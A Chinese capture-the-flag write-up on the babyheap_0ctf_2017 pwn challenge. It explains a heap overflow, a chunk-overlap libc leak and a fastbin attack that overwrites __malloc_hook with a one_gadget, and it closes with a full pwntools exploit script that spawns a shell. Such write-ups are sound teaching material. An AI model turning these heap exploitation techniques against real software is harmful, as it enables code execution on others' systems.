0
点赞
收藏
分享

微信扫一扫

babyheap_0ctf_2017

whiteMu 2022-03-11 阅读 97

BUUCTF 靶场
CTF wiki

  1. 安全策略

    [*] '/root/ctf/buuctf/pwn/babyheap_0ctf_2017'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    这题防护全开,尤其注意开启了Full RELRO,这样没办法通过劫持GOT表来getshell,可以考虑__malloc_hook, __free_hook, __exit_hook等方式。开启了pie也无法通过chunk表之类的直接进行劫持。

  2. 静态分析

    溢出点

    本题是一个很典型的堆溢出的题干,溢出点在填充chunk时,填充的内容长度时用户自定义的,这个长度是可以超过chunk的大小的,由此可以造成溢出。

    libc_base

    allocate一个small chunk再free时,加入到unsroted bin时,释放后的chunk结构如下

    |	prev_size	|
    | size			|
    | fd				|
    |	bk				|
    

    对于第一个unsorted bin中的chunk,它的fd和bk指针同时指向main_Arena中usorted bin list的ptr。通过gdb获取这个地址和libc基址的偏移,就可以计算libc的基址。

    但本题中如何泄露这个地址是个难点。chunk不存在UAF的问题,同时新建chunk时使用的calloc会重置chunk的内容,而打印chunk内容时只会打印chunk_size大小的内容并不会泄露相邻chunk的内容。

    本题泄露的方式是制造重叠,即使两个不同的chunk使用同一个地址空间。操作方式如下

    • 分配如下的chunk,中间一个是small chunk

      allocate(0x20)	# id_0
      allocate(0x100)	# id_1
      allocate(0x20)	# id_2
      

      此时的heap分配如下

      id-0 chunk0 : size=0x31
      id-1 chunk1	: size=0x111
      id-2 chunk2	: size=0x31
      top-chunk
      
    • 通过对id_0的写入,制造溢出,修改id_1的内容,将其人为分割为两个chunk

      id-0 chunk0 	: size=0x31
      id-1 chunk1-a	: size=0x31
      		 chunk2-b	: size=oxe0
      id-2 chunk2		: size=0x31
      top-chunk
      

      此时我们想办法在分配一个新的chunk时,让其使用chunk1-a的空间,就可以造成重叠了。

    • 一开始时多分配两个fast chunk

      allocate(0x20)	# id_0
      allocate(0x20)	# id_1
      allocate(0x20)	# id_2
      allocate(0x100)	# id_3
      allocate(0x20)	# id_4
      

      然后释放id-1和id-2,释放后的heap示意图如下

      id-0 chunk0 	: size=0x31
      id-1 chunk1		: size=0x31	fd=0
      id-2 chunk2		: size=0x31	fd=chunk1_ptr
      id-3 chunk3		: size=0x111
      id-3 chunk4		: size=0x31
      top-chunk
      
    • 利用id-0的溢出,修改id-1的chunk1_ptr地址。我们知道chunk间的偏移是固定的,因此我么只需要修改id

      -1的fd的最低位,就可以使其指向chunk3_ptr

      id-0 chunk0 	: size=0x31
      id-1 chunk1		: size=0x31	fd=0
      id-2 chunk2		: size=0x31	fd=chunk3_ptr
      id-3 chunk3		: size=0x111
      id-3 chunk4		: size=0x31
      top-chunk
      

      此时两个allocate(0x20)的chunk,第二个就会分配到chunk3_ptr开始的地址。当然,在allocate之前还需要按照上面讨论的,把chunk3拆成两个小的chunk。待分配成功后,再次覆盖,将两个chunk合并。

    • 最后free(id-3),打印id-1就可以获得main-arena的地址,从而计算出libc_base

    任意地址写

    获取了libc_base之后,还需要实现向任意地址写入的能力。在本题中可以使用fastbin attack实现,即释放一个fast chunk,然后篡改fd指针,这样再次malloc的时候就会在fd指针的位置分配一个chunk。但是这里需要注意,分配的位置是需要有一个chunk结构的,其chunk_size应该满足fast bin的大小匹配。

    malloc_hook 和 one_gadget

    向malloc_hook写入one_gadget,在调用malloc时,会先执行malloc_hook从而getshell。本题的第二个难点就是在malloc_hook找一个能用的chunk结构,可以看到malloc_hook上一个地址又个0x7f,这个大小可以对应0x60和0x68大小的chunk,因此通过改变对齐的位置,可以构造出一个chunk

  3. exp

    from pwn import *
    context.log_level = 'debug'
    
    #conn = remote('node4.buuoj.cn', 25222)
    conn = process('./babyheap_0ctf_2017')
    #gdb.attach(conn, 'b calloc')
    
    def select(id):
        conn.sendlineafter(b'Command: ', str(id).encode())
    
    def newchunk(size):
        select(1)
        conn.sendlineafter(b'Size: ', str(size).encode())
        conn.recvline()
    
    def fillchunk(id,  content):
        select(2)
        conn.sendlineafter(b'Index: ', str(id).encode())
        conn.sendlineafter(b'Size: ', str(len(content)).encode())
        conn.sendlineafter(b'Content: ', content)
    
    def freechunk(id):
        select(3)
        conn.sendlineafter(b'Index: ', str(id).encode())
    
    def showchunk(id):
        select(4)
        conn.sendlineafter(b'Index: ', str(id).encode())
        conn.recvuntil(b'Content: \n')
        return conn.recvline()
    
    if __name__ == "__main__":
    		# 制造重叠
        newchunk(0x20)  # 0
        newchunk(0x20)  # 1
        newchunk(0x20)  # 2
        newchunk(0x20)  # 3
        newchunk(0x100) # 4
        freechunk(1)
        freechunk(2)
    
        payload = b'a' * 0x28   # padding #0
        payload += p64(0x31) + b'\x00' * 0x28   # padding #1
        payload += p64(0x31) + b'\xc0'  # override the lowest byte of fd ptr
        fillchunk(0, payload)
    
        payload = b'a' * 0x28 + p64(0x31) + b'\x00' * 0x28 + p64(0xe0)
        fillchunk(3, payload)
        newchunk(0x20)  # 1
        newchunk(0x20)  # 2 has same ptr with # 4
        newchunk(0x20)  # 5
    		# 泄露libc
        payload = b'a' * 0x28 + p64(0x111)
        fillchunk(3, payload)
        freechunk(4)
        res = showchunk(2)
        unsorted_bin = u64(res[:6].ljust(0x8, b'\x00'))
        print(f'usorted bin: {hex(unsorted_bin)}')
        # 这里的偏移是本地偏移,线上环境可能不同
        libc_base = unsorted_bin - 0x3c3b78
        malloc_hook = unsorted_bin - 0x68
        # one_gadget : 0x45206 0x4525a 0xef9f4 0xf0897
        one_gadget = libc_base + 0x4525a
    
        # 覆盖__malloc_hook
        newchunk(0x60) # 4
        freechunk(4)
        payload = p64(malloc_hook-0x23)
        fillchunk(2, payload)
        newchunk(0x60) # 4
        newchunk(0x60)  # 6
        payload = b'a' * 0x13 + p64(one_gadget)
        fillchunk(6, payload)
    
        select(1)
        conn.sendlineafter(b'Size: ', str(0x100).encode())
        #conn.recv()
        conn.interactive()
    
举报

相关推荐

0 条评论